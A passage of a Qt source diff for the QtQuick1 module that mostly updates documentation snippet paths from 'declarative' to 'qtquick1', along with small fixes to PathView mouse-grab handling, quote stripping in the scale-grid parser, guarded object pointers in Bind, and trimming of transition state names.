- \snippet doc/src/snippets/declarative/mousearea/mouseareadragfilter.qml dragfilter
+ \snippet doc/src/snippets/qtquick1/mousearea/mouseareadragfilter.qml dragfilter
*/
diff --git a/src/qtquick1/graphicsitems/qdeclarativepath.cpp b/src/qtquick1/graphicsitems/qdeclarativepath.cpp
index ecf9e24e2f..5b52af8469 100644
--- a/src/qtquick1/graphicsitems/qdeclarativepath.cpp
+++ b/src/qtquick1/graphicsitems/qdeclarativepath.cpp
@@ -155,7 +155,7 @@ bool QDeclarative1Path::isClosed() const
\i \l PathPercent - a way to spread out items along various segments of the path.
\endlist
- \snippet doc/src/snippets/declarative/pathview/pathattributes.qml 2
+ \snippet doc/src/snippets/qtquick1/pathview/pathattributes.qml 2
*/
QDeclarativeListProperty<QDeclarative1PathElement> QDeclarative1Path::pathElements()
@@ -519,7 +519,7 @@ void QDeclarative1Curve::setY(qreal y)
\row
\o \image declarative-pathattribute.png
\o
- \snippet doc/src/snippets/declarative/pathview/pathattributes.qml 0
+ \snippet doc/src/snippets/qtquick1/pathview/pathattributes.qml 0
(see the PathView documentation for the specification of ContactModel.qml
used for ContactModel above.)
\endtable
diff --git a/src/qtquick1/graphicsitems/qdeclarativepathview.cpp b/src/qtquick1/graphicsitems/qdeclarativepathview.cpp
index 2c0875b4c4..e01cf05f22 100644
--- a/src/qtquick1/graphicsitems/qdeclarativepathview.cpp
+++ b/src/qtquick1/graphicsitems/qdeclarativepathview.cpp
@@ -365,11 +365,11 @@ void QDeclarative1PathViewPrivate::regenerate()
For example, if there is a simple list model defined in a file \c ContactModel.qml like this:
- \snippet doc/src/snippets/declarative/pathview/ContactModel.qml 0
+ \snippet doc/src/snippets/qtquick1/pathview/ContactModel.qml 0
This data can be represented as a PathView, like this:
- \snippet doc/src/snippets/declarative/pathview/pathview.qml 0
+ \snippet doc/src/snippets/qtquick1/pathview/pathview.qml 0
\image pathview.gif
@@ -402,7 +402,7 @@ void QDeclarative1PathViewPrivate::regenerate()
this attached property directly as \c PathView.isCurrentItem, while the child
\c nameText object must refer to this property as \c wrapper.PathView.isCurrentItem.
- \snippet doc/src/snippets/declarative/pathview/pathview.qml 1
+ \snippet doc/src/snippets/qtquick1/pathview/pathview.qml 1
\bold Note that views do not enable \e clip automatically. If the view
is not clipped by another item or the screen, it will be necessary
@@ -464,7 +464,7 @@ QDeclarative1PathView::~QDeclarative1PathView()
This property may be used to adjust the appearance of the current item.
- \snippet doc/src/snippets/declarative/pathview/pathview.qml 1
+ \snippet doc/src/snippets/qtquick1/pathview/pathview.qml 1
*/
/*!
@@ -1002,7 +1002,7 @@ bool QDeclarative1PathView::isFlicking() const
item in the delegate.
Here is an example delegate:
- \snippet doc/src/snippets/declarative/pathview/pathview.qml 1
+ \snippet doc/src/snippets/qtquick1/pathview/pathview.qml 1
*/
QDeclarativeComponent *QDeclarative1PathView::delegate() const
{
@@ -1285,6 +1285,7 @@ bool QDeclarative1PathView::sendMouseEvent(QGraphicsSceneMouseEvent *event)
return d->stealMouse;
} else if (d->lastPosTime.isValid()) {
d->lastPosTime.invalidate();
+ d->fixOffset();
}
if (mouseEvent.type() == QEvent::GraphicsSceneMouseRelease)
d->stealMouse = false;
@@ -1309,6 +1310,22 @@ bool QDeclarative1PathView::sceneEventFilter(QGraphicsItem *i, QEvent *e)
return QDeclarativeItem::sceneEventFilter(i, e);
}
+bool QDeclarative1PathView::sceneEvent(QEvent *event)
+{
+ bool rv = QDeclarativeItem::sceneEvent(event);
+ if (event->type() == QEvent::UngrabMouse) {
+ Q_D(QDeclarative1PathView);
+ if (d->stealMouse) {
+ // if our mouse grab has been removed (probably by another Flickable),
+ // fix our state
+ d->stealMouse = false;
+ setKeepMouseGrab(false);
+ d->lastPosTime.invalidate();
+ }
+ }
+ return rv;
+}
+
bool QDeclarative1PathView::event(QEvent *event)
{
if (event->type() == QEvent::User) {
diff --git a/src/qtquick1/graphicsitems/qdeclarativepathview_p.h b/src/qtquick1/graphicsitems/qdeclarativepathview_p.h
index b4897f9e1d..955951ffd1 100644
--- a/src/qtquick1/graphicsitems/qdeclarativepathview_p.h
+++ b/src/qtquick1/graphicsitems/qdeclarativepathview_p.h
@@ -173,6 +173,7 @@ protected:
void mouseReleaseEvent(QGraphicsSceneMouseEvent *);
bool sendMouseEvent(QGraphicsSceneMouseEvent *event);
bool sceneEventFilter(QGraphicsItem *, QEvent *);
+ bool sceneEvent(QEvent *event);
bool event(QEvent *event);
void componentComplete();
diff --git a/src/qtquick1/graphicsitems/qdeclarativepositioners.cpp b/src/qtquick1/graphicsitems/qdeclarativepositioners.cpp
index 7046945d27..353fbcc418 100644
--- a/src/qtquick1/graphicsitems/qdeclarativepositioners.cpp
+++ b/src/qtquick1/graphicsitems/qdeclarativepositioners.cpp
@@ -349,7 +349,7 @@ void QDeclarative1BasePositioner::finishApplyTransitions()
\image verticalpositioner_example.png
- \snippet doc/src/snippets/declarative/column/vertical-positioner.qml document
+ \snippet doc/src/snippets/qtquick1/column/vertical-positioner.qml document
\section1 Using Transitions
@@ -512,7 +512,7 @@ void QDeclarative1Column::reportConflictingAnchors()
\image horizontalpositioner_example.png
- \snippet doc/src/snippets/declarative/row/row.qml document
+ \snippet doc/src/snippets/qtquick1/row/row.qml document
\section1 Using Transitions
@@ -743,7 +743,7 @@ void QDeclarative1Row::reportConflictingAnchors()
\image gridLayout_example.png
- \snippet doc/src/snippets/declarative/grid/grid.qml document
+ \snippet doc/src/snippets/qtquick1/grid/grid.qml document
\section1 Using Transitions
@@ -1129,7 +1129,7 @@ void QDeclarative1Grid::reportConflictingAnchors()
\image qml-flow-snippet.png
- \snippet doc/src/snippets/declarative/flow.qml flow item
+ \snippet doc/src/snippets/qtquick1/flow.qml flow item
\section1 Using Transitions
diff --git a/src/qtquick1/graphicsitems/qdeclarativerectangle.cpp b/src/qtquick1/graphicsitems/qdeclarativerectangle.cpp
index b67536cc86..088c296a26 100644
--- a/src/qtquick1/graphicsitems/qdeclarativerectangle.cpp
+++ b/src/qtquick1/graphicsitems/qdeclarativerectangle.cpp
@@ -147,7 +147,7 @@ void QDeclarative1GradientStop::updateGradient()
with red, blending to yellow at one third of the height of the rectangle,
and ending with green:
- \snippet doc/src/snippets/declarative/gradient.qml code
+ \snippet doc/src/snippets/qtquick1/gradient.qml code
\clearfloat
\section1 Performance and Limitations
@@ -235,7 +235,7 @@ void QDeclarative1Gradient::doUpdate()
The following example shows the effects of some of the common properties on a
Rectangle item, which in this case is used to create a square:
- \snippet doc/src/snippets/declarative/rectangle/rectangle.qml document
+ \snippet doc/src/snippets/qtquick1/rectangle/rectangle.qml document
\clearfloat
\section1 Performance
@@ -284,7 +284,7 @@ void QDeclarative1Rectangle::doUpdate()
\inlineimage rect-border-width.png
\enddiv
- \snippet doc/src/snippets/declarative/rectangle/rect-border-width.qml 0
+ \snippet doc/src/snippets/qtquick1/rectangle/rect-border-width.qml 0
\clearfloat
Here, the innermost rectangle's border is clipped on the bottom and right edges by its
@@ -308,7 +308,7 @@ QDeclarative1Pen *QDeclarative1Rectangle::border()
\inlineimage declarative-rect_gradient.png
\enddiv
- \snippet doc/src/snippets/declarative/rectangle/rectangle-gradient.qml rectangles
+ \snippet doc/src/snippets/qtquick1/rectangle/rectangle-gradient.qml rectangles
\clearfloat
If both a gradient and a color are specified, the gradient will be used.
@@ -379,7 +379,7 @@ void QDeclarative1Rectangle::setRadius(qreal radius)
The following example shows rectangles with colors specified
using hexadecimal and named color notation:
- \snippet doc/src/snippets/declarative/rectangle/rectangle-colors.qml rectangles
+ \snippet doc/src/snippets/qtquick1/rectangle/rectangle-colors.qml rectangles
\clearfloat
If both a gradient and a color are specified, the gradient will be used.
diff --git a/src/qtquick1/graphicsitems/qdeclarativerepeater.cpp b/src/qtquick1/graphicsitems/qdeclarativerepeater.cpp
index cc080d10d3..ab9beb4d4d 100644
--- a/src/qtquick1/graphicsitems/qdeclarativerepeater.cpp
+++ b/src/qtquick1/graphicsitems/qdeclarativerepeater.cpp
@@ -79,9 +79,9 @@ QDeclarative1RepeaterPrivate::~QDeclarative1RepeaterPrivate()
The following Repeater creates three instances of a \l Rectangle item within
a \l Row:
- \snippet doc/src/snippets/declarative/repeaters/repeater.qml import
+ \snippet doc/src/snippets/qtquick1/repeaters/repeater.qml import
\codeline
- \snippet doc/src/snippets/declarative/repeaters/repeater.qml simple
+ \snippet doc/src/snippets/qtquick1/repeaters/repeater.qml simple
\image repeater-simple.png
@@ -96,7 +96,7 @@ QDeclarative1RepeaterPrivate::~QDeclarative1RepeaterPrivate()
a Repeater to be used inside a layout. For example, the following Repeater's
items are stacked between a red rectangle and a blue rectangle:
- \snippet doc/src/snippets/declarative/repeaters/repeater.qml layout
+ \snippet doc/src/snippets/qtquick1/repeaters/repeater.qml layout
\image repeater.png
@@ -242,7 +242,7 @@ void QDeclarative1Repeater::setModel(const QVariant &model)
\table
\row
- \o \snippet doc/src/snippets/declarative/repeaters/repeater.qml index
+ \o \snippet doc/src/snippets/qtquick1/repeaters/repeater.qml index
\o \image repeater-index.png
\endtable
@@ -253,7 +253,7 @@ void QDeclarative1Repeater::setModel(const QVariant &model)
\table
\row
- \o \snippet doc/src/snippets/declarative/repeaters/repeater.qml modeldata
+ \o \snippet doc/src/snippets/qtquick1/repeaters/repeater.qml modeldata
\o \image repeater-modeldata.png
\endtable
diff --git a/src/qtquick1/graphicsitems/qdeclarativescalegrid.cpp b/src/qtquick1/graphicsitems/qdeclarativescalegrid.cpp
index 83a94ec9de..bcdf92c675 100644
--- a/src/qtquick1/graphicsitems/qdeclarativescalegrid.cpp
+++ b/src/qtquick1/graphicsitems/qdeclarativescalegrid.cpp
@@ -167,6 +167,8 @@ QDeclarative1GridScaledImage::QDeclarative1GridScaledImage(QIODevice *data)
_l = l; _r = r; _t = t; _b = b;
_pix = imgFile;
+ if (_pix.startsWith(QLatin1Char('"')) && _pix.endsWith(QLatin1Char('"')))
+ _pix = _pix.mid(1, _pix.size() - 2); // remove leading/trailing quotes.
}
QDeclarative1BorderImage::TileMode QDeclarative1GridScaledImage::stringToRule(const QString &s)
diff --git a/src/qtquick1/graphicsitems/qdeclarativetext.cpp b/src/qtquick1/graphicsitems/qdeclarativetext.cpp
index 6974f73739..aad4b1e952 100644
--- a/src/qtquick1/graphicsitems/qdeclarativetext.cpp
+++ b/src/qtquick1/graphicsitems/qdeclarativetext.cpp
@@ -749,7 +749,7 @@ QDeclarative1Text::~QDeclarative1Text()
The link must be in rich text or HTML format and the
\a link string provides access to the particular link.
- \snippet doc/src/snippets/declarative/text/onLinkActivated.qml 0
+ \snippet doc/src/snippets/qtquick1/text/onLinkActivated.qml 0
The example code will display the text
"The main website is at \l{http://qt.nokia.com}{Nokia Qt DF}."
diff --git a/src/qtquick1/graphicsitems/qdeclarativevisualitemmodel.cpp b/src/qtquick1/graphicsitems/qdeclarativevisualitemmodel.cpp
index c8627b9d26..5d8a3d4b37 100644
--- a/src/qtquick1/graphicsitems/qdeclarativevisualitemmodel.cpp
+++ b/src/qtquick1/graphicsitems/qdeclarativevisualitemmodel.cpp
@@ -659,7 +659,7 @@ QDeclarative1VisualDataModelData *QDeclarative1VisualDataModelPrivate::data(QObj
The example below illustrates using a VisualDataModel with a ListView.
- \snippet doc/src/snippets/declarative/visualdatamodel.qml 0
+ \snippet doc/src/snippets/qtquick1/visualdatamodel.qml 0
*/
QDeclarative1VisualDataModel::QDeclarative1VisualDataModel()
@@ -852,10 +852,10 @@ void QDeclarative1VisualDataModel::setDelegate(QDeclarativeComponent *delegate)
the new directory's contents.
\c main.cpp:
- \snippet doc/src/snippets/declarative/visualdatamodel_rootindex/main.cpp 0
+ \snippet doc/src/snippets/qtquick1/visualdatamodel_rootindex/main.cpp 0
\c view.qml:
- \snippet doc/src/snippets/declarative/visualdatamodel_rootindex/view.qml 0
+ \snippet doc/src/snippets/qtquick1/visualdatamodel_rootindex/view.qml 0
If the \l model is a QAbstractItemModel subclass, the delegate can also
reference a \c hasModelChildren property (optionally qualified by a
diff --git a/src/qtquick1/util/qdeclarativeanimation.cpp b/src/qtquick1/util/qdeclarativeanimation.cpp
index 89b768b827..8204e33022 100644
--- a/src/qtquick1/util/qdeclarativeanimation.cpp
+++ b/src/qtquick1/util/qdeclarativeanimation.cpp
@@ -642,7 +642,7 @@ QAbstractAnimation *QDeclarative1PauseAnimation::qtAnimation()
as a property value source. It animates the \c color property's value from
its current value to a value of "red", over 1000 milliseconds:
- \snippet doc/src/snippets/declarative/coloranimation.qml 0
+ \snippet doc/src/snippets/qtquick1/coloranimation.qml 0
Like any other animation element, a ColorAnimation can be applied in a
number of ways, including transitions, behaviors and property value
@@ -757,7 +757,7 @@ void QDeclarative1ColorAnimation::setTo(const QColor &t)
When used as part of a Transition, you can also target a specific
StateChangeScript to run using the \c scriptName property.
- \snippet doc/src/snippets/declarative/states/statechangescript.qml state and transition
+ \snippet doc/src/snippets/qtquick1/states/statechangescript.qml state and transition
\sa StateChangeScript
*/
@@ -884,14 +884,14 @@ QAbstractAnimation *QDeclarative1ScriptAction::qtAnimation()
\l {Image::}{smooth} property to \c true, animates the width of the image,
then sets \l {Image::}{smooth} back to \c false:
- \snippet doc/src/snippets/declarative/propertyaction.qml standalone
+ \snippet doc/src/snippets/qtquick1/propertyaction.qml standalone
PropertyAction is also useful for setting the exact point at which a property
change should occur during a \l Transition. For example, if PropertyChanges
was used in a \l State to rotate an item around a particular
\l {Item::}{transformOrigin}, it might be implemented like this:
- \snippet doc/src/snippets/declarative/propertyaction.qml transition
+ \snippet doc/src/snippets/qtquick1/propertyaction.qml transition
However, with this code, the \c transformOrigin is not set until \e after
the animation, as a \l State is taken to define the values at the \e end of
@@ -899,7 +899,7 @@ QAbstractAnimation *QDeclarative1ScriptAction::qtAnimation()
then jump to \c Item.BottomRight. To fix this, insert a PropertyAction
before the RotationAnimation begins:
- \snippet doc/src/snippets/declarative/propertyaction-sequential.qml sequential
+ \snippet doc/src/snippets/qtquick1/propertyaction-sequential.qml sequential
This immediately sets the \c transformOrigin property to the value defined
in the end state of the \l Transition (i.e. the value defined in the
@@ -1144,7 +1144,7 @@ void QDeclarative1PropertyAction::transition(QDeclarative1StateActions &actions,
as a property value source. It animates the \c x value from its current
value to a value of 50, over 1000 milliseconds:
- \snippet doc/src/snippets/declarative/numberanimation.qml 0
+ \snippet doc/src/snippets/qtquick1/numberanimation.qml 0
Like any other animation element, a NumberAnimation can be applied in a
number of ways, including transitions, behaviors and property value
@@ -1339,7 +1339,7 @@ void QDeclarative1Vector3dAnimation::setTo(QVector3D t)
In the following example we use RotationAnimation to animate the rotation
between states via the shortest path:
- \snippet doc/src/snippets/declarative/rotationanimation.qml 0
+ \snippet doc/src/snippets/qtquick1/rotationanimation.qml 0
Notice the RotationAnimation did not need to set a \l target
value. As a convenience, when used in a transition, RotationAnimation will rotate all
@@ -1580,7 +1580,7 @@ QDeclarativeListProperty<QDeclarative1AbstractAnimation> QDeclarative1AnimationG
The following example runs two number animations in a sequence. The \l Rectangle
animates to a \c x position of 50, then to a \c y position of 50.
- \snippet doc/src/snippets/declarative/sequentialanimation.qml 0
+ \snippet doc/src/snippets/qtquick1/sequentialanimation.qml 0
Animations defined within a \l Transition are automatically run in parallel,
so SequentialAnimation can be used to enclose the animations in a \l Transition
@@ -1655,7 +1655,7 @@ void QDeclarative1SequentialAnimation::transition(QDeclarative1StateActions &act
The following animation runs two number animations in parallel. The \l Rectangle
moves to (50,50) by animating its \c x and \c y properties at the same time.
- \snippet doc/src/snippets/declarative/parallelanimation.qml 0
+ \snippet doc/src/snippets/qtquick1/parallelanimation.qml 0
Like any other animation element, a ParallelAnimation can be applied in a
number of ways, including transitions, behaviors and property value
@@ -1772,21 +1772,21 @@ void QDeclarative1PropertyAnimationPrivate::convertVariant(QVariant &variant, in
For example, to animate any objects that have changed their \c x or \c y properties
as a result of a state change, using an \c InOutQuad easing curve:
- \snippet doc/src/snippets/declarative/propertyanimation.qml transition
+ \snippet doc/src/snippets/qtquick1/propertyanimation.qml transition
\o In a \l Behavior
For example, to animate all changes to a rectangle's \c x property:
- \snippet doc/src/snippets/declarative/propertyanimation.qml behavior
+ \snippet doc/src/snippets/qtquick1/propertyanimation.qml behavior
\o As a property value source
For example, to repeatedly animate the rectangle's \c x property:
- \snippet doc/src/snippets/declarative/propertyanimation.qml propertyvaluesource
+ \snippet doc/src/snippets/qtquick1/propertyanimation.qml propertyvaluesource
\o In a signal handler
@@ -1803,7 +1803,7 @@ void QDeclarative1PropertyAnimationPrivate::convertVariant(QVariant &variant, in
For example, to animate \c rect's \c width property over 500ms, from its current width to 30:
- \snippet doc/src/snippets/declarative/propertyanimation.qml standalone
+ \snippet doc/src/snippets/qtquick1/propertyanimation.qml standalone
\endlist
@@ -2460,7 +2460,7 @@ void QDeclarative1PropertyAnimation::transition(QDeclarative1StateActions &actio
the transition, ensures the item animates smoothly as it moves to
its new parent:
- \snippet doc/src/snippets/declarative/parentanimation.qml 0
+ \snippet doc/src/snippets/qtquick1/parentanimation.qml 0
A ParentAnimation can contain any number of animations. These animations will
be run in parallel; to run them sequentially, define them within a
@@ -2818,7 +2818,7 @@ QAbstractAnimation *QDeclarative1ParentAnimation::qtAnimation()
In the following snippet we animate the addition of a right anchor to a \l Rectangle:
- \snippet doc/src/snippets/declarative/anchoranimation.qml 0
+ \snippet doc/src/snippets/qtquick1/anchoranimation.qml 0
For convenience, when an AnchorAnimation is used in a \l Transition, it will
animate any AnchorChanges that have occurred during the state change.
diff --git a/src/qtquick1/util/qdeclarativebehavior.cpp b/src/qtquick1/util/qdeclarativebehavior.cpp
index 02d1b0eed1..0475eea01f 100644
--- a/src/qtquick1/util/qdeclarativebehavior.cpp
+++ b/src/qtquick1/util/qdeclarativebehavior.cpp
@@ -86,7 +86,7 @@ public:
whenever the \l Rectangle's \c width value changes. When the MouseArea
is clicked, the \c width is changed, triggering the behavior's animation:
- \snippet doc/src/snippets/declarative/behavior.qml 0
+ \snippet doc/src/snippets/qtquick1/behavior.qml 0
Note that a property cannot have more than one assigned Behavior. To provide
multiple animations within a Behavior, use ParallelAnimation or
diff --git a/src/qtquick1/util/qdeclarativebind.cpp b/src/qtquick1/util/qdeclarativebind.cpp
index 50514234a3..7afe848448 100644
--- a/src/qtquick1/util/qdeclarativebind.cpp
+++ b/src/qtquick1/util/qdeclarativebind.cpp
@@ -42,6 +42,7 @@
#include "QtQuick1/private/qdeclarativebind_p.h"
#include "QtDeclarative/private/qdeclarativenullablevalue_p_p.h"
+#include "QtDeclarative/private/qdeclarativeguard_p.h"
#include <QtDeclarative/qdeclarativeengine.h>
#include <QtDeclarative/qdeclarativecontext.h>
@@ -65,7 +66,7 @@ public:
bool when : 1;
bool componentComplete : 1;
- QObject *obj;
+ QDeclarativeGuard<QObject> obj;
QString prop;
QDeclarativeNullableValue<QVariant> value;
};
diff --git a/src/qtquick1/util/qdeclarativelistmodel.cpp b/src/qtquick1/util/qdeclarativelistmodel.cpp
index 520d9ac388..d5aa75bec5 100644
--- a/src/qtquick1/util/qdeclarativelistmodel.cpp
+++ b/src/qtquick1/util/qdeclarativelistmodel.cpp
@@ -115,7 +115,7 @@ QDeclarative1ListModelParser::ListInstruction *QDeclarative1ListModelParser::Lis
\inlineimage listmodel.png
\enddiv
- \snippet doc/src/snippets/declarative/listmodel.qml 0
+ \snippet doc/src/snippets/qtquick1/listmodel.qml 0
\clearfloat
Roles (properties) in each element must begin with a lower-case letter and
@@ -125,14 +125,14 @@ QDeclarative1ListModelParser::ListInstruction *QDeclarative1ListModelParser::Lis
Since the example model contains an \c id property, it can be referenced
by views, such as the ListView in this example:
- \snippet doc/src/snippets/declarative/listmodel-simple.qml 0
+ \snippet doc/src/snippets/qtquick1/listmodel-simple.qml 0
\dots 8
- \snippet doc/src/snippets/declarative/listmodel-simple.qml 1
+ \snippet doc/src/snippets/qtquick1/listmodel-simple.qml 1
It is possible for roles to contain list data. In the following example we
create a list of fruit attributes:
- \snippet doc/src/snippets/declarative/listmodel-nested.qml model
+ \snippet doc/src/snippets/qtquick1/listmodel-nested.qml model
The delegate displays all the fruit attributes:
@@ -140,7 +140,7 @@ QDeclarative1ListModelParser::ListInstruction *QDeclarative1ListModelParser::Lis
\inlineimage listmodel-nested.png
\enddiv
- \snippet doc/src/snippets/declarative/listmodel-nested.qml delegate
+ \snippet doc/src/snippets/qtquick1/listmodel-nested.qml delegate
\clearfloat
\section1 Modifying List Models
@@ -148,7 +148,7 @@ QDeclarative1ListModelParser::ListInstruction *QDeclarative1ListModelParser::Lis
The content of a ListModel may be created and modified using the clear(),
append(), set(), insert() and setProperty() methods. For example:
- \snippet doc/src/snippets/declarative/listmodel-modify.qml delegate
+ \snippet doc/src/snippets/qtquick1/listmodel-modify.qml delegate
Note that when creating content dynamically the set of available properties
cannot be changed once set. Whatever properties are first added to the model
@@ -905,12 +905,12 @@ bool QDeclarative1ListModelParser::definesEmptyList(const QString &s)
The following model defines a series of list elements, each of which
contain "name" and "cost" roles and their associated values.
- \snippet doc/src/snippets/declarative/qml-data-models/listelements.qml model
+ \snippet doc/src/snippets/qtquick1/qml-data-models/listelements.qml model
The delegate obtains the name and cost for each element by simply referring
to \c name and \c cost:
- \snippet doc/src/snippets/declarative/qml-data-models/listelements.qml view
+ \snippet doc/src/snippets/qtquick1/qml-data-models/listelements.qml view
\sa ListModel
*/
diff --git a/src/qtquick1/util/qdeclarativepropertychanges.cpp b/src/qtquick1/util/qdeclarativepropertychanges.cpp
index 5882fc5810..776701e58f 100644
--- a/src/qtquick1/util/qdeclarativepropertychanges.cpp
+++ b/src/qtquick1/util/qdeclarativepropertychanges.cpp
@@ -80,9 +80,9 @@ QT_BEGIN_NAMESPACE
properties are to be modified, and define the new property values or
bindings. For example:
- \snippet doc/src/snippets/declarative/propertychanges.qml import
+ \snippet doc/src/snippets/qtquick1/propertychanges.qml import
\codeline
- \snippet doc/src/snippets/declarative/propertychanges.qml 0
+ \snippet doc/src/snippets/qtquick1/propertychanges.qml 0
When the mouse is pressed, the \l Rectangle changes to the \e resized
state. In this state, the PropertyChanges object sets the rectangle's
@@ -116,7 +116,7 @@ QT_BEGIN_NAMESPACE
state, its \c width property is reset, giving the text its natural width
and displaying the whole string on a single line.
- \snippet doc/src/snippets/declarative/propertychanges.qml reset
+ \snippet doc/src/snippets/qtquick1/propertychanges.qml reset
\section2 Immediate property changes in transitions
diff --git a/src/qtquick1/util/qdeclarativesmoothedanimation.cpp b/src/qtquick1/util/qdeclarativesmoothedanimation.cpp
index 0bad1a416b..7e96fe6a1c 100644
--- a/src/qtquick1/util/qdeclarativesmoothedanimation.cpp
+++ b/src/qtquick1/util/qdeclarativesmoothedanimation.cpp
@@ -269,7 +269,7 @@ void QSmoothedAnimation_1::init()
bound to those of the red rectangle. Whenever these values change, the
green rectangle smoothly animates to its new position:
- \snippet doc/src/snippets/declarative/smoothedanimation.qml 0
+ \snippet doc/src/snippets/qtquick1/smoothedanimation.qml 0
A SmoothedAnimation can be configured by setting the \l velocity at which the
animation should occur, or the \l duration that the animation should take.
diff --git a/src/qtquick1/util/qdeclarativespringanimation.cpp b/src/qtquick1/util/qdeclarativespringanimation.cpp
index d6dd68c4c6..155f7bb08f 100644
--- a/src/qtquick1/util/qdeclarativespringanimation.cpp
+++ b/src/qtquick1/util/qdeclarativespringanimation.cpp
@@ -254,7 +254,7 @@ void QDeclarative1SpringAnimationPrivate::updateMode()
on the \c x and \c y values indicates that whenever these values are
changed, a SpringAnimation should be applied.
- \snippet doc/src/snippets/declarative/springanimation.qml 0
+ \snippet doc/src/snippets/qtquick1/springanimation.qml 0
Like any other animation element, a SpringAnimation can be applied in a
number of ways, including transitions, behaviors and property value
diff --git a/src/qtquick1/util/qdeclarativestate.cpp b/src/qtquick1/util/qdeclarativestate.cpp
index 6d96f8d1f7..1be3395c5a 100644
--- a/src/qtquick1/util/qdeclarativestate.cpp
+++ b/src/qtquick1/util/qdeclarativestate.cpp
@@ -151,7 +151,7 @@ QDeclarative1StateOperation::QDeclarative1StateOperation(QObjectPrivate &dd, QOb
between the default state and the "clicked" state, thus toggling the color of the
rectangle between black and red.
- \snippet doc/src/snippets/declarative/state.qml 0
+ \snippet doc/src/snippets/qtquick1/state.qml 0
Notice the default state is referred to using an empty string ("").
@@ -217,7 +217,7 @@ bool QDeclarative1State::isWhenKnown() const
be applied. For example, the following \l Rectangle changes in and out of the "hidden"
state when the \l MouseArea is pressed:
- \snippet doc/src/snippets/declarative/state-when.qml 0
+ \snippet doc/src/snippets/qtquick1/state-when.qml 0
If multiple states in a group have \c when clauses that evaluate to \c true
at the same time, the first matching state will be applied. For example, in
diff --git a/src/qtquick1/util/qdeclarativestategroup.cpp b/src/qtquick1/util/qdeclarativestategroup.cpp
index 60ca08ca17..539fbbadab 100644
--- a/src/qtquick1/util/qdeclarativestategroup.cpp
+++ b/src/qtquick1/util/qdeclarativestategroup.cpp
@@ -385,7 +385,11 @@ QDeclarative1Transition *QDeclarative1StateGroupPrivate::findTransition(const QS
QStringList toState;
fromState = t->fromState().split(QLatin1Char(','));
+ for (int jj = 0; jj < fromState.count(); ++jj)
+ fromState[jj] = fromState.at(jj).trimmed();
toState = t->toState().split(QLatin1Char(','));
+ for (int jj = 0; jj < toState.count(); ++jj)
+ toState[jj] = toState.at(jj).trimmed();
if (ii == 1)
qSwap(fromState, toState);
int tScore = 0;
diff --git a/src/qtquick1/util/qdeclarativestateoperations.cpp b/src/qtquick1/util/qdeclarativestateoperations.cpp
index 37ebe3e248..7d57083c59 100644
--- a/src/qtquick1/util/qdeclarativestateoperations.cpp
+++ b/src/qtquick1/util/qdeclarativestateoperations.cpp
@@ -189,7 +189,7 @@ void QDeclarative1ParentChangePrivate::doChange(QDeclarativeItem *targetParent,
When the \c blueRect is clicked, it changes to the "reparented" state: its parent is changed to \c redRect and it is
positioned at (10, 10) within the red rectangle, as specified in the ParentChange.
- \snippet doc/src/snippets/declarative/parentchange.qml 0
+ \snippet doc/src/snippets/qtquick1/parentchange.qml 0
\image parentchange.png
@@ -703,7 +703,7 @@ QString QDeclarative1StateChangeScript::typeName() const
using AnchorChanges, and the top and bottom anchor margins using
PropertyChanges:
- \snippet doc/src/snippets/declarative/anchorchanges.qml 0
+ \snippet doc/src/snippets/qtquick1/anchorchanges.qml 0
\image anchorchanges.png
diff --git a/src/qtquick1/util/qdeclarativesystempalette.cpp b/src/qtquick1/util/qdeclarativesystempalette.cpp
index 7f0dde3a93..a026c5f805 100644
--- a/src/qtquick1/util/qdeclarativesystempalette.cpp
+++ b/src/qtquick1/util/qdeclarativesystempalette.cpp
@@ -79,7 +79,7 @@ public:
group and uses this to color the window and text items
appropriately:
- \snippet doc/src/snippets/declarative/systempalette.qml 0
+ \snippet doc/src/snippets/qtquick1/systempalette.qml 0
\sa QPalette
*/
diff --git a/src/qtquick1/util/qdeclarativetransition.cpp b/src/qtquick1/util/qdeclarativetransition.cpp
index 8498f6c4e2..235db8b483 100644
--- a/src/qtquick1/util/qdeclarativetransition.cpp
+++ b/src/qtquick1/util/qdeclarativetransition.cpp
@@ -68,7 +68,7 @@ QT_BEGIN_NAMESPACE
changes between the default and the "moved" state, any changes
to the \c x and \c y properties should be animated, using an \c Easing.InOutQuad.
- \snippet doc/src/snippets/declarative/transition.qml 0
+ \snippet doc/src/snippets/qtquick1/transition.qml 0
Notice the example does not require \l{PropertyAnimation::}{to} and
\l{PropertyAnimation::}{from} values for the NumberAnimation. As a convenience,
@@ -85,7 +85,7 @@ QT_BEGIN_NAMESPACE
To define multiple transitions, specify \l Item::transitions as a list:
- \snippet doc/src/snippets/declarative/transitions-list.qml list of transitions
+ \snippet doc/src/snippets/qtquick1/transitions-list.qml list of transitions
If multiple Transitions are specified, only a single (best-matching) Transition will be applied for any particular
state change. In the example above, when changing to \c state1, the first transition will be used, rather
@@ -238,15 +238,17 @@ void QDeclarative1Transition::prepare(QDeclarative1StateOperation::ActionList &a
properties, so the animation is always applied when changing between
the two states (i.e. when the mouse is pressed and released).
- \snippet doc/src/snippets/declarative/transition-from-to.qml 0
+ \snippet doc/src/snippets/qtquick1/transition-from-to.qml 0
If the transition was changed to this:
- \snippet doc/src/snippets/declarative/transition-from-to-modified.qml modified transition
+ \snippet doc/src/snippets/qtquick1/transition-from-to-modified.qml modified transition
The animation would only be applied when changing from the default state to
the "brighter" state (i.e. when the mouse is pressed, but not on release).
+ Multiple \c to and \from values can be set by using a comma-separated string.
+
\sa reversible
*/
QString QDeclarative1Transition::fromState() const
@@ -283,7 +285,7 @@ void QDeclarative1Transition::setFromState(const QString &f)
transition applies a sequential animation when the mouse is pressed,
and reverses the sequence of the animation when the mouse is released:
- \snippet doc/src/snippets/declarative/transition-reversible.qml 0
+ \snippet doc/src/snippets/qtquick1/transition-reversible.qml 0
If the transition did not set the \c to and \c reversible values, then
on the mouse release, the transition would play the PropertyAnimation
@@ -332,7 +334,7 @@ void QDeclarative1Transition::setToState(const QString &t)
The top-level animations are run in parallel. To run them sequentially,
define them within a SequentialAnimation:
- \snippet doc/src/snippets/declarative/transition-reversible.qml sequential animations
+ \snippet doc/src/snippets/qtquick1/transition-reversible.qml sequential animations
*/
QDeclarativeListProperty<QDeclarative1AbstractAnimation> QDeclarative1Transition::animations()
{
diff --git a/src/qtquick1/util/qdeclarativexmllistmodel.cpp b/src/qtquick1/util/qdeclarativexmllistmodel.cpp
index 8beb5d2a94..2450534174 100644
--- a/src/qtquick1/util/qdeclarativexmllistmodel.cpp
+++ b/src/qtquick1/util/qdeclarativexmllistmodel.cpp
@@ -115,13 +115,13 @@ typedef QPair<int, int> QDeclarative1XmlListRange;
For example, if there is an XML document like this:
